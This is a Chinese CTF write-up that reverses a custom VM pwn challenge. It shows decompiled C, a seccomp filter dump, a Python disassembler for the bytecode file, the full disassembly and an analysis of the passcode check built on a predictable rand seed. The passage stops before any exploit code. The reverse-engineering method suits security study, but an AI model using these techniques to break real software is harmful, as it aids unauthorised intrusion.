初步认识

今天也算是要到了这道题目的附件,听keer爷说这道题目难度比较大,就想来尝试尝试,拿到题目发现⼀共有三个⽂件,libc ,⽬标程序⽂件 还有个bin。

先看看保护开的怎么样:老样子,保护全开。

ida打开看一下反汇编后的效果:

老样子开始痛苦的逆向,经过痛苦的逆向后发现大致意思是将一个.bin文件加载到内存中,解析执行代码,不过有意思的是他自己写了一些堆块的管理结构,还写了一些释放堆块时需要做的操作,比如完成类似于unlink的操作!!!算是一个很有意思的题目,先把一些全局变量的名字给出来:

全局变量替换名字:

qword_7060[12] => __int64 reg[12];       //这是VM的寄存器
qword_70B0     => __int64 vm_rip;         //VM的代码指针
qword_70C0     => __int64 sp;             //VM的栈顶指针
qword_70B8     => __int64 vm_rbp;         //VM的栈底指针
qword_70E0     => __int64 stack;          //VM的栈底指针
qword_90E0     => __int64 eflags;         //VM的标志寄存器
unk_9100       => __int64 vm_code;        //VM的代码⾸地址
unk_70E0       => __int64 vm_stack        //的数据⾸地址

其他的主要函数的逆向结果:

一开始的初始化函数:

void Initial()
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x78u);
}

正式执行vm程序的函数:

void start_vm()
{
  Initial_memory();
  loadfile("note.bin");
  vm();
}

Initial_memory()函数初始化了vm的内存分布:

void Initial_memory()
{
  initial_memory();
  memset(&vm_code, 0, 0x2000uLL);
  memset(&stack, 0, 0x2000uLL);
}

void initial_memory()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 12; ++i )
    reg[i] = 0LL;
  vm_rip = 0LL;
  vm_sp = 0x2000 - ((rand() % 511) & 0x1F8);
  eflags = 0LL;
}

loadfile)函数将note.bin加载到内存中,初始化一些参数,这里我们可以看到随机种⼦我们可以预测,并开启沙箱:

void __fastcall loadfile(const char *a1)
{
  unsigned int v1; // eax
  int size; // [rsp+1Ch] [rbp-14h]
  FILE *stream; // [rsp+20h] [rbp-10h]
  void *ptr; // [rsp+28h] [rbp-8h]

  stream = fopen(a1, "rb");
  fseek(stream, 0LL, 2);
  size = ftell(stream);
  fseek(stream, 0LL, 0);
  ptr = malloc(size);
  if ( !ptr )
    error();
  fread(ptr, size, 1uLL, stream);
  fclose(stream);
  Sandbox();
  v1 = time(0LL);
  srand(v1);
  vm_set((int *)ptr);
  free(ptr);
}

void __fastcall vm_set(int *ptr)
{
  int size1; // [rsp+14h] [rbp-1Ch]
  int size2; // [rsp+18h] [rbp-18h]
  int pc; // [rsp+1Ch] [rbp-14h]
  int sp; // [rsp+20h] [rbp-10h]

  initial_memory();
  size1 = *ptr;
  size2 = ptr[1];
  pc = ptr[2];
  sp = ptr[3];
  if ( *ptr < 0 || size1 > 0x1FFF )
    error();
  if ( (unsigned int)size2 >= 0x2000 )
    error();
  checksec_segment(pc, size1);
  checksec_segment(sp, size2);
  memcpy((char *)&vm_code + pc, ptr + 4, size1);
  vm_rip = pc;
  memcpy((char *)&stack + sp, (char *)ptr + size1 + 16, size2);
}

vm函数将指令码翻译执行:

void __noreturn vm()
{
  unsigned __int8 code; // al
  unsigned int argo; // [rsp+8h] [rbp-8h]

  while ( vm_rip < 0x2000 )
  {
    code = next_code();
    argo = ((int)code >> 5) & 7;
    switch ( code & 0x1F )
    {
      case 0:
        push_r();
        break;
      case 1:
        mov_reg_stack_low(argo);
        break;
      case 2:
        nop();
        break;
      case 3:
        cin(argo);                              // argo == 0   1字节读入reg
                                                // argo == 1   4字节读入reg 无符号整数
                                                // argo == 2   4字节读入reg 有符号整数
                                                // other argo  1字节读入stack
        break;
      case 4:
        leave();
        break;
      case 5:
        sub(argo);
        break;
      case 6:
        continue;
      case 7:
        add(argo);
        break;
      case 8:
        store(argo);
        break;
      case 9:
        mv_r_r(argo);
        break;
      case 0xA:
        load_s(argo);
        break;
      case 0xB:
        cmp(argo);
        break;
      case 0xC:
        error();
      case 0xD:
        and(argo);
        break;
      case 0xE:
        dec_reg();
        break;
      case 0xF:
        div(argo);
        break;
      case 0x10:
        jmp_r(argo);
        break;
      case 0x11:
        call(argo);
        break;
      case 0x12:
        add_r();
        break;
      case 0x13:
        jmp(argo);
        break;
      case 0x14:
        pop_r();
        break;
      case 0x15:
        or(argo);
        break;
      case 0x16:
        mv_r(argo);
        break;
      case 0x17:
        cout(argo);
        break;
      case 0x18:
        ret();
        break;
      case 0x19:
        note();
        break;
      case 0x1A:
        initial_memory();
        break;
      case 0x1B:
        test();
        break;
      case 0x1C:
        mult(argo);
        break;
      case 0x1D:
        xor(argo);
        break;
      default:
        error_printf("Illegal instructions");
        break;
    }
  }
  error_printf("segmentfault");
  error();
}

程序沙箱:

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x00000002  if (A != open) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x00000101  if (A != openat) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x0000000c  if (A != brk) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x06 0x00 0x00 0x00000000  return KILL

如何解释notre.bin文件?

脚本转化为汇编代码:

note.bin文件很大,难以手动逆向解析,xKaneiki师傅写了个转伪汇编的脚本如下:

from pwn import *

data = b''
with open("./note.bin", "rb") as fp:
    data = fp.read()

lc = u32(data[0:4])
ld = u32(data[4:8])
# offc = u32(data[8:12])
# offd = u32(data[12:16])

code = data[16:16+lc]
data = data[16+lc:16+lc+ld]

print("len of code", lc)


def gc(p, n):
    re = code[p:p+n]
    p += n
    return p, re


def get_opcode(p):
    p, re = gc(p, 1)
    opcode = u8(re)
    op = opcode & 0x1f
    tp = opcode >> 5
    return p, op, tp


def get_reg(p):
    p, re = gc(p, 1)
    return p, u8(re)


def get_const(p, n):
    p, re = gc(p, n)
    if n == 1:
        re = u8(re)
    elif n == 2:
        re = u16(re)
    elif n == 4:
        re = u32(re)
    elif n == 8:
        re = u64(re)
    return p, re


def get_code(p, tp):
    if tp == 1:
        p, re = gc(p, 1)
        d = u8(re)
    elif tp == 2:
        p, re = gc(p, 2)
        d = u16(re)
    elif tp == 3:
        p, re = gc(p, 4)
        d = u32(re)
    elif tp == 4:
        p, re = gc(p, 8)
        d = u64(re)
    return p, d


pc = 0
# cn=0
while pc < lc:
    # print("cn:{}".format(cn))
    # cn+=1
    addr = pc
    pc, op, tp = get_opcode(pc)
    # print("op:{}".format(hex(op)))
    # push
    if op == 0:
        pc, r = get_reg(pc)
        print("{}\tpush\treg{}".format(hex(addr), r))
    # pop
    elif op == 0x14:
        pc, r = get_reg(pc)
        print("{}\tpop\treg{}".format(hex(addr), r))

    # load reg
    elif op == 1:
        pc, r = get_reg(pc)
        pc, r1 = get_reg(pc)
        f = ['','byte', 'word', 'dword', 'qword']
        print("{}\tload\treg{},{} mem[reg{}]".format(hex(addr), r, f[tp], r1))
     # store reg
    elif op == 9:
        pc, r = get_reg(pc)
        pc, r1 = get_reg(pc)
        f = ['', 'byte', 'word', 'dword', 'qword']
        print("{}\tstore\treg{},{} mem[reg{}]".format(hex(addr), r, f[tp], r1))

    # store
    elif op == 8:
        pc, r = get_reg(pc)
        pc, pos = get_const(pc, 4)
        f = ['', 'byte', 'word', 'dword', 'qword']
        print("{}\tstore\treg{},{} mem[{}]".format(
            hex(addr), r, f[tp], hex(pos)))
    # load
    elif op == 0xa:
        pc, r = get_reg(pc)
        pc, pos = get_const(pc, 4)
        f = ['', 'byte', 'word', 'dword', 'qword']
        print("{}\tload\treg{},{} mem[{}]".format(
            hex(addr), r, f[tp], hex(pos)))

    elif op == 2:
        pass

    # input
    elif op == 3:
        pc, r = get_reg(pc)
        f = ['byte', 'dword', 'qword', "str"]
        print("{}\tinput\t{} reg{}".format(hex(addr), f[min(4, tp)], r))
    # output
    elif op == 0x17:
        pc, r = get_reg(pc)
        f = ['byte', 'dword', 'qword', "str"]
        print("{}\toutput\t{} reg{}".format(hex(addr), f[min(4, tp)], r))

    # exit
    elif op == 0xc:
        print("{}\texit!".format(hex(addr)))

    # leave
    elif op == 4:
        print("{}\tleave".format(hex(addr)))
    # ret
    elif op == 0x18:
        print("{}\tret".format(hex(addr)))

    # dec
    elif op == 0xe:
        pc, r = get_reg(pc)
        print("{}\tdec\treg{}".format(hex(addr), r))
    # inc
    elif op == 0x12:
        pc, r = get_reg(pc)
        print("{}\tinc\treg{}".format(hex(addr), r))

    # sub add and div or mul xor
    elif op == 5 or op == 7 or op == 0xd or op == 0xf or op == 0x15 or op == 0x16 or op == 0x1c or op == 0x1d:
        name_list = {
            5: "sub",
            7: 'add',
            0xd: 'and',
            0xf: 'div',
            0x15: 'or',
            0x16: 'mov',
            0x1c: 'mul',
            0x1d: "xor"
        }
        pc, r = get_reg(pc)
        if tp > 0:
            pc, d = get_code(pc, tp)
            print("{}\t{}\treg{},#{}".format(
                hex(addr), name_list[op], r, hex(d)))
        else:
            pc, r1 = get_reg(pc)
            print("{}\t{}\treg{},reg{}".format(
                hex(addr), name_list[op], r, r1))

    # cmp
    elif op == 0xb:
        pc, r = get_reg(pc)
        if tp > 0:
            pc, d = get_const(pc, 8)
            print("{}\tcmp\treg{},#{}".format(hex(addr), r, hex(d)))
        else:
            pc, r1 = get_reg(pc)
            print("{}\tcmp\treg{},reg{}".format(hex(addr), r, r1))
    # test
    elif op == 0x1b:
        pc, r = get_reg(pc)
        pc, r1 = get_reg(pc)
        print("{}\ttest\treg{},reg{}".format(hex(addr), r, r1))

    # jmp_reg
    elif op == 0x10:
        pc, r = get_reg(pc)
        f = ['jmp', 'je', 'jne', 'jb', 'ja']
        print("{}\t{}\treg{}".format(hex(addr), f[tp], hex(pos)))
    # jmp
    elif op == 0x13:
        pc, pos = get_const(pc, 4)
        f = ['jmp', 'je', 'jne', 'jb', 'ja']
        print("{}\t{}\t#{}".format(hex(addr), f[tp], hex(pos)))

    # call
    elif op == 0x11:
        if tp > 0:
            pc, pos = get_const(pc, 4)
            print("{}\tcall\t#{}".format(hex(addr), hex(pos)))
        else:
            pc, r = get_reg(pc)
            print("{}\tcall\treg{}".format(hex(addr), r))

    # note
    elif op == 0x19:
        print("{}\tnote".format(hex(addr)))
    # reset
    elif op == 0x1a:
        print("{}\treset!".format(hex(addr)))
        pc = 0
    else:
        pass

运行结果如下:

len of code 1908
0x0     push    reg11
0x2     mov     reg11,reg12
0x5     call    0x23
0xa     call    0xc5
0xf     test    reg0,reg0
0x12    je      0x1c
0x17    call    0x145
0x1c    call    0x3d
0x21    leave
0x22    ret
0x23    call    0x4ab
0x28    mov     reg0,$0x0
0x32    call    0x4d
0x37    call    0x5c
0x3c    ret
0x3d    mov     reg0,$0x0
0x47    call    0x773
0x4c    ret
0x4d    mov     reg1,reg0
0x50    mov     reg0,$0x0
0x5a    note
0x5b    ret
0x5c    mov     reg1,reg0
0x5f    mov     reg0,$0x1
0x69    note
0x6a    ret
0x6b    mov     reg0,$0x2
0x75    note
0x76    ret
0x77    mov     reg1,reg0
0x7a    mov     reg0,$0x3
0x84    note
0x85    ret
0x86    mov     reg1,reg0
0x89    mov     reg0,$0x4
0x93    note
0x94    ret
0x95    mov     reg1,reg0
0x98    mov     reg0,$0x5
0xa2    note
0xa3    ret
0xa4    mov     reg2,reg1
0xa7    mov     reg1,reg0
0xaa    mov     reg0,$0x6
0xb4    note
0xb5    ret
0xb6    mov     reg1,reg0
0xb9    mov     reg0,$0x7
0xc3    note
0xc4    ret
0xc5    push    reg11
0xc7    mov     reg11,reg12
0xca    sub     reg12,$0x60
0xd4    mov     reg0,$0x1000
0xde    call    0x6a8
0xe3    call    0x6b
0xe8    and     reg0,$0xfffffff
0xf2    store   reg0,qword mem[reg12]
0xf5    output  dword reg0
0xf7    mov     reg0,$0xa
0x101   output  byte reg0
0x103   mov     reg0,$0x100c
0x10d   call    0x6a8
0x112   mov     reg0,reg12
0x115   add     reg0,$0x10
0x11f   mov     reg1,$0x30
0x129   call    0x5ef
0x12e   mov     reg0,reg12
0x131   add     reg0,$0x10
0x13b   load    reg1,qword mem[reg12]
0x13e   call    0x413
0x143   leave
0x144   ret
0x145   push    reg11
0x147   mov     reg11,reg12
0x14a   mov     reg0,$0x1132
0x154   call    0x6a8
0x159   call    0x629
0x15e   cmp     reg0,$0x1
0x168   je      0x1ae
0x16d   cmp     reg0,$0x2
0x177   je      0x1b8
0x17c   cmp     reg0,$0x3
0x186   je      0x1c2
0x18b   cmp     reg0,$0x4
0x195   je      0x1cc
0x19a   cmp     reg0,$0x5
0x1a4   je      0x1d6
0x1a9   jmp     0x14a
0x1ae   call    0x26a
0x1b3   jmp     0x14a
0x1b8   call    0x33d
0x1bd   jmp     0x14a
0x1c2   call    0x37b
0x1c7   jmp     0x14a
0x1cc   call    0x3d5
0x1d1   jmp     0x14a
0x1d6   leave
0x1d7   ret
0x1d8   push    reg11
0x1da   mov     reg11,reg12
0x1dd   sub     reg12,$0x60
0x1e7   store   reg0,qword mem[reg12]
0x1ea   mov     reg2,reg12
0x1ed   add     reg2,$0x8
0x1f7   store   reg1,qword mem[reg2]
0x1fa   mov     reg0,reg1
0x1fd   call    0x77
0x202   test    reg0,reg0
0x205   je      0x30d
0x20a   mov     reg2,reg12
0x20d   add     reg2,$0x10
0x217   store   reg0,qword mem[reg2]
0x21a   load    reg2,qword mem[reg12]
0x21d   mov     reg1,$0x1520
0x227   mul     reg2,$0x8
0x231   add     reg1,reg2
0x234   store   reg0,qword mem[reg1]
0x237   mov     reg0,$0x1182
0x241   call    0x6a8
0x246   mov     reg2,reg12
0x249   add     reg2,$0x8
0x253   load    reg1,qword mem[reg2]
0x256   add     reg2,$0x8
0x260   load    reg0,qword mem[reg2]
0x263   call    0xa4
0x268   leave
0x269   ret
0x26a   push    reg11
0x26c   mov     reg11,reg12
0x26f   sub     reg12,$0x60
0x279   mov     reg0,$0x1173
0x283   call    0x6a8
0x288   call    0x629
0x28d   cmp     reg0,$0x0
0x297   jb      0x30d
0x29c   cmp     reg0,$0x4
0x2a6   ja      0x30d
0x2ab   store   reg0,qword mem[reg12]
0x2ae   mov     reg1,$0x1520
0x2b8   mul     reg0,$0x8
0x2c2   add     reg1,reg0
0x2c5   load    reg0,qword mem[reg1]
0x2c8   test    reg0,reg0
0x2cb   jne     0x30d
0x2d0   mov     reg0,$0x117a
0x2da   call    0x6a8
0x2df   call    0x629
0x2e4   cmp     reg0,$0x0
0x2ee   jb      0x30d
0x2f3   cmp     reg0,$0x60
0x2fd   ja      0x30d
0x302   mov     reg1,reg0
0x305   load    reg0,qword mem[reg12]
0x308   call    0x1d8
0x30d   leave
0x30e   ret
0x30f   push    reg11
0x311   mov     reg11,reg12
0x314   mov     reg1,$0x1520
0x31e   mul     reg0,$0x8
0x328   add     reg1,reg0
0x32b   load    reg0,qword mem[reg1]
0x32e   test    reg0,reg0
0x331   je      0x33b
0x336   call    0xb6
0x33b   leave
0x33c   ret
0x33d   push    reg11
0x33f   mov     reg11,reg12
0x342   mov     reg0,$0x1173
0x34c   call    0x6a8
0x351   call    0x629
0x356   cmp     reg0,$0x0
0x360   jb      0x379
0x365   cmp     reg0,$0x4
0x36f   ja      0x379
0x374   call    0x30f
0x379   leave
0x37a   ret
0x37b   push    reg11
0x37d   mov     reg11,reg12
0x380   mov     reg0,$0x118d
0x38a   call    0x696
0x38f   leave
0x390   ret
0x391   push    reg11
0x393   mov     reg11,reg12
0x396   sub     reg12,$0x40
0x3a0   mov     reg1,$0x1520
0x3aa   mul     reg0,$0x8
0x3b4   add     reg1,reg0
0x3b7   store   reg1,qword mem[reg12]
0x3ba   load    reg0,qword mem[reg1]
0x3bd   test    reg0,reg0
0x3c0   je      0x3d3
0x3c5   call    0x86
0x3ca   load    reg1,qword mem[reg12]
0x3cd   xor     reg0,reg0
0x3d0   store   reg0,qword mem[reg1]
0x3d3   leave
0x3d4   ret
0x3d5   push    reg11
0x3d7   mov     reg11,reg12
0x3da   mov     reg0,$0x1173
0x3e4   call    0x6a8
0x3e9   call    0x629
0x3ee   cmp     reg0,$0x0
0x3f8   jb      0x411
0x3fd   cmp     reg0,$0x4
0x407   ja      0x411
0x40c   call    0x391
0x411   leave
0x412   ret
0x413   push    reg11
0x415   mov     reg11,reg12
0x418   sub     reg12,$0x60
0x422   store   reg0,qword mem[reg12]
0x425   mov     reg0,reg12
0x428   add     reg0,$0x8
0x432   store   reg1,qword mem[reg0]
0x435   load    reg0,qword mem[reg12]
0x438   call    0x654
0x43d   cmp     reg0,$0x11
0x447   ja      0x451
0x44c   jmp     0x49a
0x451   load    reg0,qword mem[reg12]
0x454   add     reg0,$0x11
0x45e   call    0x95
0x463   sub     reg0,$0x12345678
0x46d   mov     reg1,reg12
0x470   add     reg1,$0x8
0x47a   load    reg1,qword mem[reg1]
0x47d   cmp     reg1,reg0
0x480   je      0x48a
0x485   jmp     0x49a
0x48a   load    reg0,qword mem[reg12]
0x48d   call    0x6cf
0x492   test    reg0,reg0
0x495   jne     0x4a9
0x49a   mov     reg0,$0x1018
0x4a4   call    0x769
0x4a9   leave
0x4aa   ret
0x4ab   mov     reg0,$0x1000
0x4b5   mov     reg1,$0x89
0x4bf   call    0x5ba
0x4c4   mov     reg0,$0x100c
0x4ce   mov     reg1,$0x42
0x4d8   call    0x5ba
0x4dd   mov     reg0,$0x1018
0x4e7   mov     reg1,$0x24
0x4f1   call    0x5ba
0x4f6   mov     reg0,$0x1132
0x500   mov     reg1,$0x47
0x50a   call    0x5ba
0x50f   mov     reg0,$0x1173
0x519   mov     reg1,$0x11
0x523   call    0x5ba
0x528   mov     reg0,$0x117a
0x532   mov     reg1,$0x11
0x53c   call    0x5ba
0x541   mov     reg0,$0x1182
0x54b   mov     reg1,$0x11
0x555   call    0x5ba
0x55a   mov     reg0,$0x118d
0x564   mov     reg1,$0x11
0x56e   call    0x5ba
0x573   ret
0x574   xor     reg3,reg3
0x577   xor     reg6,reg6
0x57a   xor     reg4,reg4
0x57d   xor     reg5,reg5
0x580   load    reg4,byte mem[reg0]
0x583   load    reg5,byte mem[reg1]
0x586   sub     reg4,reg5
0x589   cmp     reg4,$0x0
0x593   jb      0x5a0
0x598   add     reg3,reg4
0x59b   jmp     0x5a3
0x5a0   sub     reg3,reg4
0x5a3   inc     reg6
0x5a5   cmp     reg6,reg2
0x5a8   je      0x5b6
0x5ad   inc     reg0
0x5af   inc     reg1
0x5b1   jmp     0x57a
0x5b6   mov     reg0,reg3
0x5b9   ret
0x5ba   xor     reg6,reg6
0x5bd   xor     reg5,reg5
0x5c0   load    reg6,byte mem[reg0]
0x5c3   sub     reg6,reg5
0x5c6   and     reg6,$0xff
0x5d0   xor     reg6,reg1
0x5d3   store   reg6,byte mem[reg0]
0x5d6   cmp     reg6,$0x0
0x5e0   je      0x5ee
0x5e5   inc     reg0
0x5e7   inc     reg5
0x5e9   jmp     0x5c0
0x5ee   ret
0x5ef   xor     reg6,reg6
0x5f2   xor     reg7,reg7
0x5f5   input   byte reg7
0x5f7   cmp     reg7,$0xa
0x601   je      0x615
0x606   store   reg7,byte mem[reg0]
0x609   inc     reg0
0x60b   inc     reg6
0x60d   cmp     reg6,reg1
0x610   jb      0x5f5
0x615   mov     reg7,$0x0
0x61f   store   reg7,byte mem[reg0]
0x622   mov     reg0,reg1
0x625   sub     reg0,reg6
0x628   ret
0x629   push    reg11
0x62b   mov     reg11,reg12
0x62e   sub     reg12,$0x60
0x638   mov     reg0,reg12
0x63b   mov     reg1,$0x60
0x645   call    0x5ef
0x64a   mov     reg0,reg12
0x64d   call    0x95
0x652   leave
0x653   ret
0x654   xor     reg6,reg6
0x657   xor     reg7,reg7
0x65a   load    reg7,byte mem[reg0]
0x65d   cmp     reg7,$0x0
0x667   je      0x675
0x66c   inc     reg0
0x66e   inc     reg6
0x670   jmp     0x65a
0x675   mov     reg0,reg6
0x678   ret
0x679   xor     reg2,reg2
0x67c   jmp     0x68a
0x681   load    reg3,byte mem[reg0]
0x684   output  byte reg3
0x686   inc     reg0
0x688   inc     reg2
0x68a   cmp     reg2,reg1
0x68d   jb      0x681
0x692   mov     reg0,reg2
0x695   ret
0x696   call    0x6a8
0x69b   mov     reg1,$0xa
0x6a5   output  byte reg1
0x6a7   ret
0x6a8   push    reg1
0x6aa   push    reg0
0x6ac   xor     reg1,reg1
0x6af   load    reg1,byte mem[reg0]
0x6b2   cmp     reg1,$0x0
0x6bc   je      0x6ca
0x6c1   output  byte reg1
0x6c3   inc     reg0
0x6c5   jmp     0x6af
0x6ca   pop     reg0
0x6cc   pop     reg1
0x6ce   ret
0x6cf   push    reg11
0x6d1   mov     reg11,reg12
0x6d4   sub     reg12,$0x40
0x6de   store   reg0,qword mem[reg12]
0x6e1   mov     reg1,$0x101f
0x6eb   mov     reg2,$0x11
0x6f5   call    0x739
0x6fa   load    reg0,qword mem[reg12]
0x6fd   mov     reg1,$0x1120
0x707   mov     reg2,$0x11
0x711   call    0x574
0x716   test    reg0,reg0
0x719   je      0x72d
0x71e   mov     reg0,$0x0
0x728   jmp     0x737
0x72d   mov     reg0,$0x1
0x737   leave
0x738   ret
0x739   push    reg2
0x73b   push    reg1
0x73d   push    reg0
0x73f   xor     reg3,reg3
0x742   jmp     0x75a
0x747   load    reg4,byte mem[reg0]
0x74a   mov     reg5,reg1
0x74d   add     reg5,reg4
0x750   load    reg5,byte mem[reg5]
0x753   store   reg5,byte mem[reg0]
0x756   inc     reg0
0x758   inc     reg3
0x75a   cmp     reg3,reg2
0x75d   jb      0x747
0x762   pop     reg0
0x764   pop     reg1
0x766   pop     reg2
0x768   ret
0x769   call    0x696
0x76e   call    0x773
0x773   exit!

简便方式,直接转化为IDA可识别的代码:

三叶草的pandaos师傅给出了把bin⽂件直接解析成可以在ida进⾏f5的汇编代码,着实学习了一手,项目地址:

https://github.com/P4nda0s/qwb_vmnote_recompiler

开始分析

这里我们先用转化出来的为汇编代码来分析一下(patience):

1.output("challenge") && output(rand()):

0x0     push    reg11
0x2     mov     reg11,reg12
0x5     call    0x23

        0x23    call    0x4ab(重复类似操作8次,只不过每一次push reg1参数不同,分别为0x89,0x42,0x24,0x47,0x11,0x11,0x11,0x11)

                0x4ab   mov     reg0,$0x1000
                0x4b5   mov     reg1,$0x89
                0x4bf   call    0x5ba

                        0x5ba   xor     reg6,reg6
                        0x5bd   xor     reg5,reg5
                        0x5c0   load    reg6,byte mem[reg0]
                        0x5c3   sub     reg6,reg5
                        0x5c6   and     reg6,$0xff
                        0x5d0   xor     reg6,reg1
                        0x5d3   store   reg6,byte mem[reg0]
                        0x5d6   cmp     reg6,$0x0
                        0x5e0   je      0x5ee
                        0x5e5   inc     reg0
                        0x5e7   inc     reg5
                        0x5e9   jmp     0x5c0
                        0x5ee   ret

               0x573   ret

        0x28    mov     reg0,$0x0
        0x32    call    0x4d

                0x4d    mov     reg1,reg0
                0x50    mov     reg0,$0x0                 #reg[0] = (int)time((time_t *)seed);
                0x5a    note
                0x5b    ret

        0x37    call    0x5c
                
                0x5c    mov     reg1,reg0
                0x5f    mov     reg0,$0x1                 #srand((unsigned int)seed);
                0x69    note
                0x6a    ret

        0x3c    ret

0xa     call    0xc5

        0xc5    push    reg11
        0xc7    mov     reg11,reg12
        0xca    sub     reg12,$0x60
        0xd4    mov     reg0,$0x1000
        0xde    call    0x6a8
        
                0x6a8   push    reg1
                0x6aa   push    reg0
                0x6ac   xor     reg1,reg1
                0x6af   load    reg1,byte mem[reg0]      #循环输出"challenge"
                0x6b2   cmp     reg1,$0x0
                0x6bc   je      0x6ca
                0x6c1   output  byte reg1
                0x6c3   inc     reg0
                0x6c5   jmp     0x6af
                0x6ca   pop     reg0
                0x6cc   pop     reg1
                0x6ce   ret

        0xe3    call    0x6b
        
                0x6b    mov     reg0,$0x2              #reg[0] = rand();
                0x75    note
                0x76    ret
        
        0xe8    and     reg0,$0xfffffff
        0xf2    store   reg0,qword mem[reg12]
        0xf5    output  dword reg0                    #output(rand())
        0xf7    mov     reg0,$0xa
        0x101   output  byte reg0                     #output("\n")   

2.output("passcode:"):

        0x103   mov     reg0,$0x100c
                0x10d   call    0x6a8
        
                        0x6a8   push    reg1
                        0x6aa   push    reg0
                        0x6ac   xor     reg1,reg1
                        0x6af   load    reg1,byte mem[reg0]
                        0x6b2   cmp     reg1,$0x0
                        0x6bc   je      0x6ca
                        0x6c1   output  byte reg1
                        0x6c3   inc     reg0
                        0x6c5   jmp     0x6af
                        0x6ca   pop     reg0
                        0x6cc   pop     reg1
                        0x6ce   ret

3.read(0,&stack[reg0],0x30):

                0x112   mov     reg0,reg12
                0x115   add     reg0,$0x10
                0x11f   mov     reg1,$0x30
                0x129   call    0x5ef                              #read(0,&stack[reg0],0x30)
            
                        0x5ef   xor     reg6,reg6
                        0x5f2   xor     reg7,reg7
                        0x5f5   input   byte reg7
                        0x5f7   cmp     reg7,$0xa
                        0x601   je      0x615
                        0x606   store   reg7,byte mem[reg0]
                        0x609   inc     reg0
                        0x60b   inc     reg6
                        0x60d   cmp     reg6,reg1
                        0x610   jb      0x5f5
                        0x615   mov     reg7,$0x0
                        0x61f   store   reg7,byte mem[reg0]
                        0x622   mov     reg0,reg1
                        0x625   sub     reg0,reg6
                        0x628   ret

4.check()以及主要内容

                0x12e   mov     reg0,reg12
                0x131   add     reg0,$0x10                             #input addr
                0x13b   load    reg1,qword mem[reg12]                  #store random
                0x13e   call    0x413

                        0x413   push    reg11
                        0x415   mov     reg11,reg12
                        0x418   sub     reg12,$0x60
                        0x422   store   reg0,qword mem[reg12]
                        0x425   mov     reg0,reg12
                        0x428   add     reg0,$0x8
                        0x432   store   reg1,qword mem[reg0]
                        0x435   load    reg0,qword mem[reg12]
                        0x438   call    0x654

                                0x654   xor     reg6,reg6
                                0x657   xor     reg7,reg7
                                0x65a   load    reg7,byte mem[reg0]
                                0x65d   cmp     reg7,$0x0
                                0x667   je      0x675
                                0x66c   inc     reg0
                                0x66e   inc     reg6
                                0x670   jmp     0x65a
                                0x675   mov     reg0,reg6
                                0x678   ret

                        0x43d   cmp     reg0,$0x11
                        0x447   ja      0x451

                        0x451   load    reg0,qword mem[reg12]
                        0x454   add     reg0,$0x11
                        0x45e   call    0x95

                                0x95    mov     reg1,reg0
                                0x98    mov     reg0,$0x5
                                0xa2    note                           #reg[0] = (int)atol(&stack[seed]);
                                0xa3    ret

                        0x463   sub     reg0,$0x12345678
                        0x46d   mov     reg1,reg12
                        0x470   add     reg1,$0x8
                        0x47a   load    reg1,qword mem[reg1]
                        0x47d   cmp     reg1,reg0
                        0x480   je      0x48a
                        0x485   jmp     0x49a
                        0x48a   load    reg0,qword mem[reg12]
                        0x48d   call    0x6cf

                                0x6cf   push    reg11
                                0x6d1   mov     reg11,reg12
                                0x6d4   sub     reg12,$0x40
                                0x6de   store   reg0,qword mem[reg12]
                                0x6e1   mov     reg1,$0x101f
                                0x6eb   mov     reg2,$0x11
                                0x6f5   call    0x739

                                ......
                                ......
                                ......


                        0x44c   jmp     0x49a

                        0x49a   mov     reg0,$0x1018
                        0x4a4   call    0x769
  
                                0x769   call    0x696
                                
                                        0x696   call    0x6a8
                                          
                                                0x6a8   push    reg1
                                                0x6aa   push    reg0
                                                0x6ac   xor     reg1,reg1
                                                0x6af   load    reg1,byte mem[reg0]
                                                0x6b2   cmp     reg1,$0x0
                                                0x6bc   je      0x6ca
                                                0x6c1   output  byte reg1
                                                0x6c3   inc     reg0
                                                0x6c5   jmp     0x6af

                                                ......
                                                ......
                                                ......

                                                0x6ca   pop     reg0
                                                0x6cc   pop     reg1
                                                0x6ce   ret

                                        0x69b   mov     reg1,$0xa
                                        0x6a5   output  byte reg1
                                        0x6a7   ret

                                0x76e   call    0x773
                                        
                        0x4a9   leave
                        0x4aa   ret

checksec:

先具体看一下他是怎么检查的:

1.先明确一下初始各个寄存器中存放的东西:

  1. reg[12]:stack上面存储的random的数据的偏移

  2. reg[0]: 接受我们输入的stack的偏移量

2.分析检查的内容:

  1. 检查输入的长度是否大于0x11:strlen(input())

        0x654   xor     reg6,reg6
        0x657   xor     reg7,reg7
        0x65a   load    reg7,byte mem[reg0]
        0x65d   cmp     reg7,$0x0
        0x667   je      0x675
        0x66c   inc     reg0
        0x66e   inc     reg6
        0x670   jmp     0x65a
        0x675   mov     reg0,reg6
        0x678   ret

0x43d   cmp     reg0,$0x11

2.检查s0[0x11]-0x12345678==random

0x463   sub     reg0,$0x12345678
0x46d   mov     reg1,reg12
0x470   add     reg1,$0x8
0x47a   load    reg1,qword mem[reg1]
0x47d   cmp     reg1,reg0
0x480   je      0x48a
0x485   jmp     0x49a
0x48a   load    reg0,qword mem[reg12]
0x48d   call    0x6cf

